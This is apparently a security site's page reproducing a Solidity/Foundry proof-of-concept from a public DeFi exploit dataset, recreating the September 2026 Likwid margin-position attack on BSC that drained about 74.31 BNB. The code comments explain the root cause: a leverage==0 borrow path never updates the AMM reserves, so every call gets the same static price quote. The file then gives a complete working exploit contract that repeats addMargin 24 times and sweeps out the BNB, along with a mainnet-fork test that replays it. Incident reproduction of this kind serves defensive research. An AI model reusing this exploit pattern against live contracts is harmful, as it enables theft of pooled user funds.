Public reproduction file
src/test/2026-09/Likwid_exp.sol
Public reproduction file for dataset entry Likwid.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.16;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Likwid (LikwidMarginPosition) oracle/accounting exploit - BSC, 2026-09-18.8//9// Loss: 74.31 BNB drained from LikwidVault.10//11// On-chain references (BSC):12// attack tx : 0x83cbd07d59aedc2f114c351c568d3386ff5bc7caa87d12bc6494e2dc7bf16f4d13// block : 122525331 (fork at parent 122525330)14// attacker EOA : 0x90bde1e0Bb16B3DEEb9d638aCf8D01F19fD2F31e15// attacker contract: 0xC63FB27F52ed8d06673c60c3075B2D3bD26Cf4AA (pre-held 218.58M TOKEN)16//17// Actors / contracts:18// LikwidMarginPosition (vulnerable) : 0x6bec0c1dc4898484b7f094566ddf8bc82ed7abe819// LikwidVault (victim, holds BNB) : 0x065d449ec9D139740343990B7E1CF05fA830e4Ba20// TOKEN (currency1, "Likwid", proxy): 0x0f12d5048a6bed7ECc572fa7805D03Af7B5FB9d221// pool: currency0 = BNB (address(0)), currency1 = TOKEN, fee 3000, marginFee 250022//23// ROOT CAUSE (confirmed against the deployed verified source, contract "LikwidMarginPosition"):24// _margin() routes leverage==0 to _executeAddCollateralAndBorrow(). That function sets25// delta.lendDelta, delta.mirrorDelta and delta.marginDelta but NEVER sets delta.pairDelta26// (compare _executeAddLeverage, which sets `delta.pairDelta = toBalanceDelta(...)`). pairDelta27// is the only field that feeds back into the AMM pairReserves through the unlock callback, so a28// leverage==0 borrow leaves pairReserves untouched. The very first line of the same function,29// SwapMath.getAmountOut(poolState.pairReserves, ...), therefore returns the exact same quote on30// every call because the reserves it reads never move. The attacker repeated addMargin(...) with31// marginForOne=true, leverage=0, borrowAmount=type(uint256).max, settling 211.8M TOKEN at the32// first-trade marginal price with zero AMM price impact.33//34// addMargin is `external payable` with no admin/signer gate. _margin -> _requireAuth only checks35// the caller owns the position NFT it just minted for itself, so the path is fully unprivileged.36//37// Verified from the attack tx trace: 24 successful addMargin calls. The first 15 each borrowed an38// identical 4.787036565860255800 BNB (the static-reserve quote - the bug), then the borrow tapers39// only because borrowMaxAmount is also capped at 20% of the shrinking realReserves, never because40// the marginal price moved. Total: 211,832,397.21 TOKEN in, 74.310377810 BNB out.41//42// This is one self-contained tx. The 218.58M TOKEN was pre-held by the attacker contract well43// before the block (present since >=122525300), so it is genuine pre-state, not same-block setup;44// the PoC funds its own exploit contract from that real pre-held balance and then runs the real45// repeated addMargin cycle.46//47// Run (bsc alias in foundry.toml is binance.llamarpc.com, currently NXDOMAIN, and non-archival48// anyway). Use an archival BSC endpoint without editing foundry.toml:49// BSC_RPC=https://bsc-mainnet.public.blastapi.io \50// forge test --contracts src/test/2026-09/Likwid_exp.sol -vvv52interface ILikwidMarginPosition {53 struct PoolKey {54 address currency0;55 address currency1;56 uint24 fee;57 uint24 marginFee;58 }60 struct CreateParams {61 bool marginForOne;62 uint24 leverage;63 uint256 marginAmount;64 uint256 borrowAmount;65 uint256 borrowAmountMax;66 address recipient;67 uint256 deadline;68 }70 function addMargin(PoolKey calldata key, CreateParams calldata params)71 external72 payable73 returns (uint256 tokenId, uint256 borrowAmount, uint256 swapFeeAmount);74}76contract LikwidExploit {77 ILikwidMarginPosition constant MP = ILikwidMarginPosition(0x6bec0c1dc4898484b7F094566ddf8bC82ED7Abe8);78 IERC20 constant TOKEN = IERC20(0x0f12d5048a6bed7ECc572fa7805D03Af7B5FB9d2);79 address constant BNB = address(0);81 address immutable owner;83 // Exact per-call marginAmounts of the 24 successful addMargin calls in the real tx, in order.84 // 15x 13.66M TOKEN (each borrowing the identical 4.7857 BNB static quote), then tapering as the85 // 20%-of-realReserves cap bites. Sum = 211,832,397.21 TOKEN.86 function _margins() internal pure returns (uint256[24] memory m) {87 uint256 a = 13661559550241944241919791;88 for (uint256 i = 0; i < 15; i++) m[i] = a;89 m[15] = 6830779775120972120959895;90 m[16] = 53365466993132594694999;91 m[17] = 13341366748283148673749;92 m[18] = 6670683374141574336874;93 m[19] = 3335341687070787168437;94 m[20] = 833835421767696792109;95 m[21] = 416917710883848396054;96 m[22] = 208458855441924198027;97 m[23] = 52114713860481049506;98 }100 constructor() {101 owner = msg.sender;102 }104 function run() external {105 // Approve the margin token to the position manager, which pulls it via safeTransferFrom.106 TOKEN.approve(address(MP), type(uint256).max);108 ILikwidMarginPosition.PoolKey memory key = ILikwidMarginPosition.PoolKey({109 currency0: BNB,110 currency1: address(TOKEN),111 fee: 3000,112 marginFee: 2500113 });115 uint256[24] memory margins = _margins();116 for (uint256 i = 0; i < margins.length; i++) {117 MP.addMargin(118 key,119 ILikwidMarginPosition.CreateParams({120 marginForOne: true, // margin = currency1 (TOKEN), borrow currency0 (BNB)121 leverage: 0, // the vulnerable leverage==0 branch122 marginAmount: margins[i],123 borrowAmount: type(uint256).max, // "borrow the maximum" -> contract sets it to the static quote124 borrowAmountMax: 0,125 recipient: address(this),126 deadline: block.timestamp + 1000127 })128 );129 }131 // Forward the drained BNB to the caller (the test contract).132 (bool ok,) = owner.call{value: address(this).balance}("");133 require(ok, "sweep failed");134 }136 // LikwidVault.take() pays out BNB via a raw call to the recipient.137 receive() external payable {}138}140contract LikwidExp is BaseTestWithBalanceLog {141 IERC20 constant TOKEN = IERC20(0x0f12d5048a6bed7ECc572fa7805D03Af7B5FB9d2);142 address constant ATTACKER_CONTRACT = 0xC63FB27F52ed8d06673c60c3075B2D3bD26Cf4AA; // pre-held TOKEN144 function setUp() public {145 // bsc alias in foundry.toml (binance.llamarpc.com) is dead + non-archival; allow a146 // BSC_RPC env override to an archival node without touching foundry.toml.147 try vm.envString("BSC_RPC") returns (string memory url) {148 vm.createSelectFork(url, 122_525_330);149 } catch {150 vm.createSelectFork("bsc", 122_525_330);151 }152 fundingToken = address(0); // measure profit in native BNB153 }155 /// forge-config: default.evm_version = "cancun"156 function testExploit() public balanceLog {157 LikwidExploit exploit = new LikwidExploit();159 // Fund the exploit contract from the attacker's genuine pre-held TOKEN inventory160 // (present in real pre-state at the fork block). No deal(), no minting.161 uint256 preheld = TOKEN.balanceOf(ATTACKER_CONTRACT);162 vm.prank(ATTACKER_CONTRACT);163 TOKEN.transfer(address(exploit), preheld);165 uint256 bnbBefore = address(this).balance;166 exploit.run();167 uint256 gained = address(this).balance - bnbBefore;169 emit log_named_decimal_uint("BNB drained from LikwidVault", gained, 18);171 // Reported loss ~74.31 BNB; real tx extracted 74.310377810 BNB across 24 addMargin calls.172 assertApproxEqAbs(gained, 74.310377810e18, 0.01e18, "BNB gain != ~74.31");173 }175 receive() external payable {}176}Analysis
Dataset entry
Public Foundry test for “Likwid” (2026-09-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- attacker
0x90bde1e0bb16b3deeb9d638acf8d01f19fd2f31e
- attacker
0xc63fb27f52ed8d06673c60c3075b2d3bd26cf4aa
- Attack Tx
0x83cbd07d59aedc2f114c351c568d3386ff5bc7caa87d12bc6494e2dc7bf16f4d
File record
- Name
- Likwid
- Path
- src/test/2026-09/Likwid_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 66bed701c1ab40a9fb97fb76f8b3c5955ed6e600
- Language
- Solidity
- Size
- 177 lines
- Date
- 2026-09-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/Likwid_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 66bed701c1ab40a9fb97fb76f8b3c5955ed6e600, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.